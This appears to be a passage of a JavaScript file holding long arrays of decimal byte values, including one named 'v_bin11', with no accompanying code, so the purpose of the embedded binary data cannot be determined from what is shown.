76,217,65,33,216,156,83,253,88,186,229,100,143,190,136,252,112,129,22,179,231,4,127,149,203,49,96,73,28,193,202,205,69,4,248,51,238,124,198,196,141,187,213,82,210,132,185,102,133,117,15,174,138,127,251,117,204,119,142,143,135,255,225,120,126,146,44,50,75,230,22,158,130,34,40,133,63,44,130,220,15,54,25,85,126,199,39,152,134,25,91,25,26,122,233,44,62,11,13,251,139,7,5,209,7,134,178,112,185,149,142,39,45,121,60,12,38,95,94,82,102,67,249,166,126,168,75,26,132,159,178,116,80,51,177,77,17,227,185,185,98,216,16,185,104,109,248,187,196,104,142,6,234,233,60,58,130,201,100,33,79,216,180,113,2,28,47,40,86,160,236,177,11,43,202,228,63,115,209,154,127,106,57,129,20,0,175,110,137,115,42,129,103,158,130,65,220,12,115,175,225,23,41,55,35,3,250,193,249,162,197,1,208,117,11,78,67,73,139,60,95,94,65,9,188,169,17,84,180,146,155,86,61,233,91,228,122,81,109,54,218,226,251,193,225,126,151,251,150,11,108,225,195,77,6,208,203,112,17,183,88,132,142,67,113,16,112,225,37,20,231,108,243,51,158,67,254,23,147,141,232,5,175,230,128,248,202,64,68,37,191,0,23,220,137,104,14,189,226,89,190,128,242,217,247,10,208,201,41,143,146,31,116,239,177,245,234,165,151,122,34,134,95,33,160,225,207,17,205,208,192,193,15,175,46,89,214,226,99,27,94,125,148,186,74,49,12,63,195,214,108,61,230,46,205,216,63,13,0,125,80,126,87,18,231,29,110,61,136,32,155,240,44,17,132,149,23,112,145,169,95,130,201,221,47,80,166,252,210,107,101,85,26,220,11,183,189,142,12,211,48,240,169,203,95,114,15,106,249,50,251,46,29,129,223,240,66,120,178,136,14,234,195,151,218,158,131,85,40,127,179,221,5,90,228,232,29,166,176,49,40,204,110,120,69,92,93,68,155,174,99,135,34,209,115,202,12,226,11,181,140,154,236,197,111,64,148,235,255,148,121,182,61,89,49,120,41,162,225,73,108,228,51,38,161,216,111,51,169,230,113,150,128,185,93,159,57,133,22,246,25,10,141,147,82,243,35,3,128,144,85,76,165,25,13,181,214,92,194,192,244,37,239,149,200,232,130,243,225,81,133,28,65,227,240,106,234,247,184,139,184,119,3,237,128,244,118,75,30,174,53,136,4,15,193,150,192,150,71,233,26,155,105,71,33,204,52,68,15,156,117,194,16,246,35,106,142,243,145,216,251,70,33,118,203,242,132,45,29,238,192,213,221,225,26,20,177,245,6,57,129,51,166,27,117,248,44,226,121,214,116,141,170,18,110,229,173,44,191,195,179,28,20,36,63,248,83,131,106,119,175,220,163,97,1,125,21,196,22,187,60,254,41,66,21,116,134,44,104,50,52,212,209,244,90,7,12,49,158,163,219,5,252,106,55,111,115,231,151,139,215,194,83,59,27,187,94,93,138,175,253,231,60,219,210,64,3,22,136,253,158,194,18,165,100,222,144,200,248,125,114,254,145,149,181,32,16,78,88,47,90,207,196,96,9,162,147,42,91,129,235,150,0,195,102,54,158,215,73,227,50,13,250,192,39,58,186,127,9,252,128,138,76,0,219,74,116,120,98,255,74,215,119,14,234,5,227,194,60,250,9,124,203,37,227,132,103,59,223,166,210,114,187,148,122,121,144,14,3,128,217,141,180,179,104,230,201,30,153,90,62,123,75,239,104,49,156,85,145,80,99,117,152,214,7,198,0,128,224,194,155,171,100,91,159,62,155,217,229,230,191,195,208,93,68,100,79,69,80,25,151,237,57,166,77,218,197,37,142,69,36,208,84,159,39,213,182,246,133,57,144,100,225,37,106,176,205,161,250,244,160,100,149,155,187,25,238,105,45,18,76,48,95,234,114,11,141,112,34,144,52,201,145,183,67,93,219,125,203,251,25,179,82,109,42,167,39,122,245,63,229,220,161,136,98,95,253,44,214,164,89,20,104,17,104,81,205,202,116,99,58,97,59,96,182,121,45,193,213,222,162,118,155,45,16,208,128,21,146,164,91,10,11,187,96,55,121,82,94,29,50,47,109,134,75,213,159,241,98,152,146,139,9,104,201,176,174,103,133,90,251,10,156,82,134,253,22,132,236,61,58,106,96,235,40,187,68,248,207,146,67,6,157,43,191,86,195,195,169,174,48,29,210,9,145,199,146,212,199,233,174,125,254,148,67,108,112,243,124,149,172,149,206,205,124,211,241,86,34,58,133,95,142,130,239,122,189,88,73,227,20,86,153,159,211,242,137,68,40,231,123,180,150,212,138,217,140,74,153,148,87,32,136,128,247,195,236,245,32,79,122,144,60,213,134,124,219,171,82,197,8,94,202,178,6,237,217,51,212,207,102,66,149,100,121,251,117,179,47,31,9,16,96,207,188,19,157,119,210,199,240,208,37,135,0,181,141,208,105,54,59,247,63,227,129,127,160,177,121,230,145,238,127,68,7,87,31,6,202,84,189,211,204,145,157,179,255,152,17,137,19,87,20,188,103,205,252,214,74,34,47,151,45,135,255,222,170,109,236,214,150,73,193,25,26,40,219,119,39,149,76,148,226,194,214,214,99,250,12,213,19,216,27,130,234,151,40,253,222,42,58,76,1,138,228,160,4,147,33,179,254,87,145,27,83,23,194,124,132,187,219,250,96,175,94,95,184,102,245,36,148,179,235,85,123,188,217,133,37,217,9,234,30,106,186,202,103,39,204,22,159,19,110,108,33,241,172,221,88,207,255,134,244,187,132,188,186,129,187,229,35,101,4,163,5,49,38,153,173,73,46,103,37,165,237,251,139,83,64,159,56,10,66,59,74,210,107,228,157,156,174,158,186,233,157,47,61,114,13,60,191,194,202,29,29,104,147,117,111,209,252,69,167,176,50,116,229,143,244,80,54,174,51,120,62,200,21,209,137,197,105,102,46,175,121,184,43,171,59,204,208,25,228,139,171,109,91,132,116,254,204,54,247,201,172,56,61,250,153,242,237,210,95,108,85,16,90,70,83,9,186,94,15,19,178,255,198,23,98,204,53,4,13,124];
var v_bin11 = [34,6,93,240,227,174,205,220,7,62,182,171,185,213,112,212,183,31,110,96,140,4,221,151,101,202,156,230,241,187,119,178,218,57,135,187,45,218,113,144,154,253,214,254,169,95,217,118,221,234,244,124,127,111,9,70,190,20,6,153,169,101,109,143,221,27,48,224,112,101,170,64,8,99,58,128,27,175,232,178,47,169,20,100,165,165,26,115,83,52,207,65,92,196,242,9,186,27,85,141,171,161,152,180,233,77,96,196,158,118,254,35,57,116,219,103,125,238,144,24,116,91,209,182,244,49,202,35,225,190,8,96,97,56,196,216,157,73,155,178,74,108,3,39,33,206,202,145,56,189,179,243,125,193,169,132,98,44,235,206,111,31,140,229,77,80,41,193,146,37,29,180,102,26,96,117,189,121,156,218,164,60,170,148,159,117,58,55,55,36,168,165,212,19,4,29,14,212,57,18,171,58,37,111,118,96,58,87,23,246,89,246,212,235,141,234,198,30,105,130,235,170,196,219,225,35,255,177,202,138,243,89,128,93,125,79,106,101,190,10,131,114,25,0,219,173,182,112,15,77,208,81,194,32,171,253,53,160,197,134,13,243,140,89,95,169,9,159,87,8,205,136,138,109,202,162,82,10,65,243,102,236,129,55,235,30,163,232,88,201,120,132,131,234,225,217,32,6,34,231,237,91,224,121,47,166,103,251,148,96,77,30,48,31,204,1,68,81,72,40,61,150,18,115,0,45,96,113,45,137,200,195,209,13,208,193,203,172,54,201,4,80,82,75,3,117,179,42,222,44,178,148,67,3,74,146,10,203,131,40,205,209,38,23,102,4,120,234,252,37,194,15,64,58,127,92,139,231,13,29,95,232,122,85,40,98,249,195,67,43,73,9,187,42,246,90,168,88,242,33,48,128,109,250,30,30,84,208,20,23,94,77,169,180,192,14,66,58,222,78,236,75,74,65,191,202,48,74,253,106,141,25,109,77,237,189,75,82,194,213,141,5,192,5,102,220,100,243,6,204,6,207,172,180,192,67,116,122,242,115,248,50,109,76,184,37,61,61,112,198,79,118,234,56,31,120,142,139,33,90,255,38,55,228,105,151,249,34,72,80,11,22,246,71,177,27,57,60,44,178,53,181,176,167,150,112,79,118,74,56,39,77,229,168,40,122,214,183,101,183,135,161,35,60,154,132,48,7,45,198,222,32,12,133,117,216,182,246,180,213,155,184,78,101,11,106,219,68,35,219,229,37,86,50,188,179,166,150,254,74,230,19,11,133,88,104,81,87,183,199,94,7,188,42,5,125,218,219,7,195,29,74,20,9,163,224,242,232,118,74,144,79,166,124,128,136,189,39,161,155,16,32,57,243,178,35,155,199,50,202,37,118,159,81,172,15,219,208,172,55,60,94,136,92,138,194,223,34,216,134,44,233,110,35,96,25,204,228,40,254,30,212,188,227,73,152,36,250,227,216,47,53,14,49,80,245,187,189,65,103,97,244,86,224,48,133,183,110,95,167,152,40,236,153,39,169,110,55,122,104,224,191,111,204,144,136,175,154,214,203,65,218,101,24,222,86,235,141,49,148,146,212,178,40,51,112,176,248,38,93,29,26,13,148,100,244,84,160,147,121,59,229,69,183,226,146,7,100,69,225,227,31,232,22,35,159,32,153,173,28,225,121,142,231,213,134,173,190,223,179,121,241,156,33,6,55,51,214,162,170,62,77,132,70,82,78,51,174,191,40,39,191,136,213,30,75,13,191,197,122,192,46,162,191,101,109,125,103,231,27,162,71,156,104,206,230,125,234,147,181,215,232,76,125,53,74,152,114,27,123,121,143,176,51,113,118,34,115,174,178,116,24,250,64,30,19,78,145,194,195,82,74,48,124,187,251,143,165,148,159,79,225,229,193,146,158,207,31,3,71,73,10,58,189,13,227,60,191,121,144,149,21,136,31,225,94,66,44,137,174,250,184,104,204,87,38,184,189,104,28,227,235,49,86,238,8,115,1,204,170,61,248,155,157,149,138,72,215,244,114,131,124,84,224,86,99,120,34,26,99,153,149,190,197,200,66,141,160,195,181,13,251,124,50,33,107,31,218,123,54,252,6,95,137,53,31,208,223,74,176,173,141,87,21,97,42,209,233,142,171,28,21,255,162,113,113,9,153,6,121,139,17,68,67,232,115,87,82,74,237,224,42,161,89,21,197,131,177,55,18,226,44,154,40,247,191,172,170,255,152,28,29,136,35,160,1,214,101,71,175,63,184,183,226,2,154,79,78,213,4,156,203,83,174,251,163,219,209,236,253,127,80,246,103,125,128,198,226,254,72,84,124,235,60,110,118,44,74,0,122,33,181,78,154,200,64,197,97,21,235,13,163,106,117,42,0,83,242,70,115,220,173,127,58,87,103,123,190,171,20,89,152,40,233,108,204,201,18,111,237,2,208,37,69,248,178,237,254,49,153,187,71,181,244,175,147,80,53,109,85,206,148,236,167,66,132,184,102,101,128,119,179,39,204,109,206,13,41,205,181,185,170,153,65,177,92,194,190,255,153,101,131,214,194,155,60,97,96,197,207,124,152,27,120,91,106,89,120,219,157,109,33,130,1,67,65,182,9,29,1,119,136,9,52,170,64,3,247,190,252,5,57,57,137,129,83,246,86,56,0,5,112,123,214,188,197,204,46,190,246,204,6,228,101,149,217,93,63,78,109,42,40,68,230,241,142,245,73,83,237,229,177,66,245,119,94,209,185,154,7,233,203,81,58,121,14,96,207,44,148,64,237,74,223,206,168,22,220,99,115,54,110,147,114,49,107,162,244,122,190,241,85,122,141,209,80,233,163,235,125,187,243,95,29,251,247,109,156,183,219,189,251,137,172,26,150,218,26,4,79,3,188,119,155,71,3,10,120,145,168,74,237,83,113,202,110,156,54,155,139,45,136,144,179,127,218,118,203,161,124,44,35,96,70,203,97,128,147,62,22,52,249,141,77,6,185,220,138,36,185,158,76,210,153,136,212,240,27,92,230,198,179,190,115,98,61,156,15,150,173,219,121,111,62,233,237,199,10,5,248,28,171,155,10,11,35,34,86,49,75,114,198,223,48,244,99,95,249,23,210,54,41,130,175,176,37,7,77,143,213,228,147,240,207,197,83,88,52,17,206,153,7,9,118,155,143,158,215,24,119,216,75,45,10,150,223,170,125,132,220,127,34,176,100,16,245,197,205,132,142,176,6,11,54,94,128,44,36,103,211,93,22,187,95,106,136,239,100,46,53,61,133,47,147,107,145,192,124,7,202,250,219,212,166,192,130,138,88,178,193,72,116,10,191,183,186,81,194,102,120,10,127,194,182,71,73,163,190,221,193,102,84,97,225,151,202,78,38,38,242,198,202,42,85,253,86,199,103,74,156,54,136,45,114,223,146,89,156,181,147,219,117,125,3,100,39,171,89,143,176,30,154,96,5,66,178,175,46,205,105,183,155,110,168,38,125,190,119,251,156,138,130,169,36,26,19,50,87,20,51,161,90,23,174,118,193,56,9,101,143,139,4,221,18,119,20,52,73,14,31,94,118,36,227,165,236,235,54,19,237,20,62,40,219,200,89,192,240,0,161,195,2,120,151,4,230,15,163,201,153,167,237,76,240,107,198,158,84,23,44,6,114,97,104,43,90,75,217,129,124,50,226,113,198,191,250,33,116,163,21,187,248,108,221,205,240,22,190,134,160,44,93,80,210,89,220,57,106,66,246,153,30,138,137,204,100,108,178,31,84,67,56,28,202,251,240,238,149,190,156,126,93,173,98,233,24,169,23,171,110,6,248,157,247,94,255,78,114,92,47,141,180,207,115,112,1,237,184,202,9,231,97,217,227,240,166,85,220,6,114,75,162,74,148,193,204,199,195,41,32,239,107,122,17,234,123,37,81,110,166,215,93,3,33,225,246,139,250,6,140,61,190,245,246,126,235,62,29,102,120,2,176,199,113,225,64,191,237,143,54,3,172,64,118,81,235,243,102,252,17,18,56,30,104,176,153,226,21,189,165,171,93,218,146,191,197,144,135,159,170,87,13,74,238,167,236,132,37,27,182,2,133,157,25,247,191,201,5,59,64,219,12,236,220,225,249,9,11,194,77,109,48,182,101,103,74,89,7,161,242,118,110,137,151,37,41,248,12,44,139,137,148,82,212,175,230,91,2,153,88,173,24,148,217,186,194,215,31,147,255,161,202,195,164,183,145,196,128,116,178,193,252,118,16,230,78,165,164,178,147,93,172,196,186,144,4,146,48,87,247,219,86,155,130,218,15,96,32,67,229,185,25,145,29,93,112,144,125,124,229,245,204,106,127,183,169,182,41,239,229,247,37,90,239,250,1,96,177,3,37,66,67,77,140,22,65,180,34,222,110,91,180,51,231,111,1,63,197,208,173,209,151,194,42,243,35,135,75,6,170,241,224,89,130,75,19,217,216,152,207,76,252,53,113,7,71,242,121,254,146,60,202,207,102,159,1,74,156,62,220,234,141,184,183,32,163,232,54,111,14,27,9,45,205,34,34,158,166,8,120,172,88,87,103,171,2,9,76,227,172,156,180,30,22,99,209,180,71,17,214,185,225,226,95,66,35,8,104,212,223,246,97,1,154,41,176,90,157,62,106,207,139,202,168,16,75,16,22,22,123,74,177,163,192,180,208,248,36,89,129,2,220,223,174,203,196,223,129,179,36,114,47,9,45,12,67,223,174,174,84,30,203,80,98,152,15,248,160,167,232,11,56,230,62,197,76,229,152,43,169,199,82,71,170,219,94,218,207,22,162,238,29,231,11,203,240,13,175,125,149,211,71,6,248,21,35,18,148,6,215,98,47,0,88,58,182,232,111,127,194,198,179,143,170,124,207,20,98,164,131,27,178,230,210,201,230,56,5,67,89,104,62,163,120,153,118,255,225,208,251,144,222,143,84,247,15,173,115,101,60,176,228,241,193,205,163,20,249,75,228,55,250,26,52,61,105,161,110,102,80,120,163,14,202,226,237,157,36,126,249,115,132,110,236,10,118,70,176,59,241,125,87,176,88,201,64,29,66,182,97,189,136,73,49,209,213,25,48,244,254,125,53,58,91,9,68,130,56,149,11,197,203,136,58,184,237,123,117,169,64,42,50,56,210,68,107,86,49,185,157,43,166,225,169,163,21,93,221,19,214,39,108,41,182,161,129,132,9,158,156,4,34,148,213,136,212,181,146,27,246,32,112,120,62,8,245,167,154,60,142,157,169,58,23,188,58,42,151,138,29,83,84,57,230,128,234,23,174,227,137,163,109,211,250,251,51,231,120,138,51,186,194,224,63,89,58,208,23,6,158,56,57,238,190,21,91,173,213,193,47,181,32,204,79,210,32,38,60,232,56,230,168,118,192,168,65,145,170,143,193,191,246,216,30,96,31,207,15,112,184,19,152,66,31,208,7,191,200,104,7,159,218,72,149,79,63,102,52,189,146,234,190,154,104,132,203,229,192,50,158,23,173,123,79,79,99,19,22,71,53,17,146,86,55,224,41,129,252,90,155,160,79,219,175,101,189,35,161,75,174,26,26,232,175,76,17,164,103,160,242,33,86,62,121,204,154,244,18,35,57,117,77,25,5,155,132,112,255,36,198,142,180,183,58,185,178,182,253,214,108,60,231,98,53,227,188,208,51,58,71,172,5,174,15,238,238,19,164,68,222,46,76,185,243,230,227,103,236,58,198,72,29,100,215,252,110,204,129,92,154,174,221,248,185,77,34,138,71,217,14,183,30,50,27,179,103,215,86,52,200,44,65,156,86,180,47,162,152,69,248,0,16,3,144,57,65,5,164,111,231,18,197,97,155,123,5,25,49,26,154,248,204,33,96,102,209,98,232,75,217,153,23,205,191,178,154,220,202,179,199,210,58,251,77,224,38,195,128,193,57,69,177,41,236,59,22,95,93,188,116,176,232,151,185,63,5,119,89,119,125,92,95,113,191,190,215,68,134,164,237,99,23,225,208,103,175,85,182,238,48,43,191,115,111,32,83,166,241,166,26,73,149,3,143,143,249,68,17,207,144,196,167,142,241,208,188,102,8,174,156,215,104,165,144,7,155,129,218,63,17,116,156,179,137,172,203,189,217,212,215,97,174,36,221,206,60,124,57,146,23,239,255,230,84,232,38,146,88,134,252,150,241,194,229,27,39,58,163,127,16,190,101,171,65,213,76,249,17,85,9,32,255,226,210,55,150,132,119,91,204,231,195,82,122,199,21,203,61,41,201,227,77,214,200,9,175,87,246,117,227,233,162,154,128,16,226,205,151,154,222,16,100,25,162,248,81,248,177,200,188,17,182,65,100,200,157,43,96,123,13,77,219,113,139,29,220,215,191,212,140,142,61,34,252,226,102,5,79,196,214,251,0,191,0,151,127,219,17,205,2,143,149,67,95,63,102,50,111,162,36,132,108,28,15,34,100,35,78,238,160,15,34,241,209,181,158,255,132,212,239,238,253,97,183,97,122,138,189,88,112,84,186,159,207,238,128,102,31,209,215,172,199,186,5,118,28,12,109,242,125,90,20,161,61,208,54,130,245,162,44,74,46,207,209,17,30,5,140,76,189,152,50,73,191,133,57,223,20,60,28,29,7,216,220,165,33,210,144,90,160,75,241,252,226,203,45,232,96,54,22,165,149,98,30,159,233,75,55,65,10,39,180,59,21,255,158,159,146,163,206,135,33,190,135,99,226,2,77,203,251,114,226,20,162,197,179,165,236,164,159,80,93,96,159,208,91,30,121,147,175,225,13,66,59,207,87,122,244,25,119,137,89,242,6,242,65,59,103,12,114,111,105,240,12,182,93,144,54,207,233,113,204,231,184,39,107,213,79,80,196,168,117,212,65,166,5,93,175,226,254,233,36,8,190,216,17,96,192,41,103,153,107,170,124,50,1,177,69,8,159,86,162,225,63,95,51,43,231,238,114,23,31,177,233,158,59,212,143,137,174,85,193,246,255,98,224,207,213,88,162,149,128,57,171,30,203,235,239,104,183,106,100,219,89,89,117,31,48,126,202,181,253,216,192,101,120,63,38,76,155,148,242,13,46,133,214,178,104,161,191,197,94,164,106,244,96,100,40,240,177,145,196,109,116,245,3,149,149,22,226,124,203,126,20,136,107,239,183,226,136,27,77,250,116,16,141,238,168,186,17,27,168,144,158,85,139,30,123,172,88,10,230,223,129,185,192,177,241,225,231,189,229,83,10,25,249,254,178,154,181,216,105,183,253,93,38,132,66,252,46,229,233,152,24,205,42,44,73,48,14,97,179,89,68,122,197,48,63,77,73,214,59,79,84,127,89,227,109,115,232,92,219,139,34,68,84,234,170,170,34,81,141,204,215,11,11,252,202,43,18,39,200,150,189,235,238,159,52,87,37,173,248,60,238,117,183,142,114,51,148,246,43,199,83,45,138,5,19,236,185,178,37,21,195,235,190,45,163,38,215,183,144,127,156,170,6,81,180,51,22,82,244,211,217,5,23,3,122,113,94,190,8,70,25,105,217,237,198,157,107,180,122,236,175,34,95,57,176,87,114,145,90,38,90,199,93,198,102,148,137,225,251,176,68,52,238,199,126,131,157,246,190,210,136,101,220,107,71,230,234,213,182,236,167,223,24,43,59,98,122,214,172,127,115,165,114,236,89,237,174,4,254,239,18,202,7,145,75,122,168,176,146,48,79,67,102,97,4,154,68,140,167,183,53,251,117,219,103,135,30,174,87,243,154,51,251,126,94,126,255,204,48,88,163,182,88,166,113,27,238,222,146,241,86,56,255,130,145,13,213,51,161,250,210,248,213,118,101,65,165,1,97,204,104,118,7,2,125,198,46,21,155,5,63,28,108,186,143,209,101,26,129,112,181,132,18,202,251,35,15,51,248,138,67,52,219,190,44,27,69,147,199,243,36,196,61,199,61,24,8,219,171,180,151,53,105,85,29,101,176,254,112,202,15,98,245,89,74,169,38,231,7,36,52,175,3,121,168,225,186,6,97,245,131,178,164,252,175,153,180,79,66,115,40,164,181,13,160,32,229,56,128,219,121,1,77,0,79,168,179,63,28,242,108,82,225,35,164,167,99,107,111,29,59,136,61,123,18,222,138,183,236,67,53,137,169,253,231,237,35,9,13,79,7,70,188,123,30,157,153,71,243,231,48,15,87,165,88,96,214,203,211,246,69,18,38,123,189,75,196,25,197,110,199,50,114,199,213,186,109,203,144,7,32,212,168,95,222,56,59,76,37,241,253,178,10,116,97,138,44,99,53,194,81,147,134,205,60,157,248,38,22,64,168,65,23,27,153,64,223,103,16,13,138,220,187,3,230,210,199,38,164,229,223,75,225,54,216,182,7,38,184,233,27,42,193,234,7,41,228,100,198,242,218,143,29,211,52,214,4,51,136,153,231,101,227,232,90,40,80,191,159,230,185,241,92,64,198,156,210,144,205,26,113,167,254,69,33,203,180,37,9,87,234,133,158,215,217,18,75,248,254,250,148,91,21,161,83,58,50,232,131,83,46,59,9,40,188,5,62,189,125,110,77,211,156,33,159,187,46,18,76,153,178,86,6,191,2,198,157,197,196,243,2,34,24,242,165,44,67,18,98,12,202,11,219,100,198,71,49,67,153,198,3,21,151,95,171,175,105,200,223,85,146,95,243,114,172,51,1,39,208,71,121,252,170,59,100,212,40,177,35,143,51,193,144,82,21,27,242,226,85,3,31,170,238,246,122,203,250,173,183,145,50,22,10,129,68,11,44,237,248,146,201,195,247,102,162,23,36,137,83,193,33,228,115,37,123,110,153,98,17,96,163,138,156,191,45,67,187,3,183,211,64,236,255,160,4,108,230,190,18,121,91,30,120,47,25,60,92,47,67,19,16,107,208,173,150,75,28,240,171,173,161,184,76,150,177,98,154,199,209,234,37,43,193,112,71,99,126,27,112,166,91,120,175,217,119,176,157,29,22,182,20,183,139,58,207,189,179,117,193,230,171,45,121,206,216,106,62,32,76,174,225,74,129,41,73,153,110,239,50,175,179,48,126,97,91,90,9,26,119,208,70,161,191,207,27,65,255,160,38,188,26,9,142,45,104,254,173,146,30,240,174,159,232,123,178,203,215,38,80,68,114,250,245,183,180,15,58,84,186,22,191,158,239,234,220,52,132,7,80,87,140,78,254,203,60,48,36,252,9,149,91,209,188,30,39,169,86,223,219,251,199,33,144,113,183,153,170,211,110,163,104,4,3,188,190,68,236,113,107,54,201,55,230,197,188,191,128,242,164,194,193,21,147,105,228,131,56,220,232,195,44,4,222,200,132,14,248,162,153,187,169,203,26,51,90,195,141,169,36,47,105,217,43,235,142,163,19,56,70,152,55,96,53,134,81,5,63,159,245,96,113,193,147,15,26,134,218,138,149,109,208,65,44,71,146,121,31,7,80,226,115,23,56,202,94,81,82,129,195,58,204,81,157,180,80,41,192,217,250,234,37,127,234,254,78,91,233,182,159,55,34,20,94,158,126,140,81,186,191,239,108,35,203,208,241,79,127,56,234,91,118,195,129,117,153,22,70,8,103,97,29,207,13,179,100,47,196,99,166,89,253,186,235,173,70,47,71,190,228,30,43,150,148,124,153,41,82,7,185,130,160,52,108,101,41,80,176,203,116,250,235,17,184,75,2,14,55,149,132,121,72,76,151,33,48,95,57,241,165,130,82,155,130,33,109,24,148,171,26,146,11,152,71,241,185,88,248,185,22,199,39,214,135,211,198,52,224,16,68,211,192,18,230,158,105,71,194,125,17,15,244,189,6,172,11,179,127,75,126,24,11,185,250,169,253,91,235,195,158,113,208,92,146,5,243,251,49,36,42,49,233,224,134,48,26,62,158,66,110,247,70,234,136,8,251,191,150,80,58,184,254,212,176,183,233,231,72,188,151,40,230,190,204,155,250,40,145,71,37,243,62,237,180,106,95,155,44,201,173,31,185,203,189,160,181,122,252,114,210,131,181,216,199,183,45,105,223,47,62,155,45,101,207,147,103,207,199,84,101,30,248,55,10,207,117,13,190,198,56,0,92,235,138,17,239,210,179,98,115,144,194,85,187,183,0,180,134,117,236,233,88,70,3,93,50,65,187,124,203,45,192,252,245,163,3,220,242,133,188,75,202,79,48,73,148,8,52,178,138,231,224,108,100,25,235,17,42,135,131,179,242,176,130,153,211,20,21,144,11,120,219,157,1,123,195,63,37,7,7,3,225,10,37,95,91,155,198,240,153,32,107,215,96,157,237,73,87,48,119,176,149,65,95,165,78,187,27,10,189,49,50,175,203,197,247,170,26,139,57,23,185,218,151,109,151,143,159,136,255,246,157,191,118,84,181,170,146,250,38,249,240,151,110,42,30,171,5,1,89,210,163,203,183,36,156,169,39,3,89,138,88,199,243,140,141,101,99,1,15,152,125,110,219,75,210,108,30,144,55,9,24,100,87,157,86,2,57,9,13,122,148,247,80,112,23,135,229,153,36,25,57,111,42,222,138,19,169,234,74,87,101,249,188,135,236,194,38,158,2,180,144,7,27,104,205,61,147,191,227,5,150,0,85,202,241,71,113,46,212,160,136,161,105,89,205,181,65,17,225,140,73,193,91,219,57,85,50,141,172,200,36,111,32,20,211,128,61,6,84,115,190,25,133,96,181,102,91,156,134,110,130,54,191,89,234,146,204,216,104,1,230,6,240,93,244,141,190,115,188,222,241,145,15,7,12,72,154,57,198,210,159,64,126,58,69,149,68,118,210,201,7,77,65,110,253,205,173,52,229,213,249,6,190,49,37,80,204,43,221,66,216,37,36,244,156,186,217,20,129,15,116,48,44,48,143,180,82,139,106,97,18,192,183,184,209,79,245,138,195,3,151,1,91,122,44,211,91,69,197,133,241,165,151,226,114,131,41,81,203,162,127,24,144,16,101,119,12,46,110,139,181,29,70,124,125,24,155,219,94,211,192,69,233,206,57,128,202,54,87,103,253,131,222,203,6,204,247,31,70,33,95,153,220,169,242,83,151,137,184,151,119,167,106,65,13,93,84,194,5,44,152,241,242,14,213,137,83,42,157,72,211,117,169,135,24,164,164,57,95,12,62,115,217,251,134,237,139,40,232,106,205,187,132,103,40,153,95,39,179,137,147,121,86,191,38,128,67,88,72,78,149,124,43,190,96,160,251,195,175,157,121,206,151,211,108,31,138,149,83,72,49,33,138,4,207,57,141,113,13,119,69,223,255,43,204,220,196,213,231,53,134,77,249,239,198,179,211,13,166,250,4,161,215,103,215,251,152,26,28,222,127,189,202,215,129,116,83,83,143,189,219,106,85,207,186,147,48,144,159,41,120,252,160,196,230,96,77,54,250,247,85,1,26,138,25,119,197,136,136,2,48,188,98,23,128,176,75,103,210,180,196,0,63,120,168,7,5,52,247,142,234,58,184,70,93,227,110,200,180,231,42,83,181,243,122,217,75,122,170,174,59,222,116,76,39,61,66,80,251,148,239,232,19,73,103,116,170,24,83,20,173,207,3,55,180,127,196,95,160,59,207,49,51,182,212,251,240,172,17,118,135,71,230,204,97,64,31,59,26,180,155,245,92,185,9,124,78,202,141,127,249,181,116,56,15,131,69,36,241,113,139,15,70,247,29,61,238,217,13,210,30,228,19,200,133,110,67,185,232,181,97,240,44,24,54,57,110,202,32,43,32,216,154,68,42,241,96,202,60,43,65,28,130,171,92,223,10,222,155,126,195,86,57,109,132,226,48,198,55,145,10,135,110,64,140,227,24,198,71,3,87,173,115,230,12,90,196,212,120,119,205,130,38,103,35,65,96,102,67,1,54,225,29,103,114,86,235,62,213,233,208,68,34,245,63,80,190,190,99,21,11,241,238,147,124,165,224,102,123,113,133,178,197,72,13,147,230,124,71,164,181,78,110,63,192,83,187,212,62,85,119,47,162,23,102,27,115,172,31,237,140,171,85,233,55,22,101,208,79,229,26,90,77,183,43,94,161,106,59,95,162,58,121,188,148,100,244,148,0,166,123,93,13,34,27,87,147,89,160,69,165,188,157,3,252,125,114,210,132,70,57,41,70,117,117,212,67,205,10,231,250,176,235,166,85,199,96,233,189,16,233,132,250,109,227,48,29,226,169,83,214,39,3,146,8,117,253,86,140,38,23,157,70,196,52,99,31,138,214,228,2,116,48,66,240,163,169,130,211,153,145,9,11,191,47,78,72,139,24,70,154,62,77,142,188,158,49,163,113,117,109,114,200,55,157,80,80,216,62,214,169,192,132,246,198,50,191,192,186,110,18,216,236,61,230,153,145,253,194,104,30,163,8,180,9,182,220,149,99,245,186,236,197,118,239,176,168,217,110,231,186,238,178,227,105,233,146,138,194,218,12,33,157,102,223,42,188,66,225,73,86,238,68,43,22,174,98,149,168,158,242,15,124,57,58,112,22,92,86,35,127,139,138,152,144,10,122,245,170,210,116,200,244,186,52,70,198,39,79,167,10,212,111,205,147,172,230,110,169,237,48,50,73,123,188,193,203,20,19,62,136,58,96,36,202,136,80,205,173,189,137,169,84,90,61,204,228,78,13,238,117,221,165,216,94,0,159,107,121,7,4,33,242,203,20,64,45,104,118,28,251,59,213,54,177,246,151,63,224,12,90,254,5,69,20,163,219,24,215,171,76,167,183,77,57,221,163,59,246,12,129,177,29,21,180,218,63,194,21,222,184,172,204,238,66,102,33,196,74,225,26,80,198,113,1,93,203,126,50,83,63,111,191,41,241,249,75,11,72,196,246,126,81,93,72,122,247,31,136,164,82,76,133,82,92,199,0,93,160,235,107,103,232,66,198,62,62,165,202,146,155,146,225,103,196,9,38,134,145,237,248,254,178,173,80,149,44,185,9,128,161,244,142,110,110,83,76,105,64,5,234,229,162,159,138,238,205,156,42,71,154,245,248,235,122,183,177,218,74,41,225,98,198,27,40,158,118,24,22,214,237,58,48,4,41,178,23,42,90,115,245,43,91,97,72,225,197,125,185,160,90,106,234,135,98,20,53,251,53,105,68,11,147,5,158,137,103,219,241,219,12,11,51,239,125,6,23,52,200,84,133,126,72,15,198,124,43,187,138,116,170,159,151,78,59,39,150,92,11,179,32,208,49,35,13,13,177,48,241,106,202,141,85,150,236,188,192,35,119,50,249,112,208,69,38,185,187,9,48,129,85,42,102,136,105,254,50,170,196,186,126,68,167,1,32,27,151,63,209,109,164,175,247,129,62,65,5,199,38,23,232,42,95,37,203,222,111,57,72,246,43,142,78,251,3,37,101,164,5,157,122,143,9,169,147,168,165,157,154,26,17,90,113,79,105,113,181,77,206,159,207,209,218,128,83,57,14,103,246,52,227,175,66,250,141,192,233,186,248,112,150,208,97,195,80,160,19,114,222,151,230,4,228,107,64,196,199,162,32,250,45,222,85,241,132,198,102,98,51,83,121,44,183,16,106,5,210,244,171,130,143,142,247,128,28,154,186,188,95,34,239,105,222,83,20,250,65,56,13,58,128,18,204,56,247,135,186,63,114,78,212,63,242,159,251,233,88,231,183,213,199,158,183,128,231,67,59,76,216,220,116,184,68,174,41,223,178,143,115,66,183,214,5,39,212,44,193,244,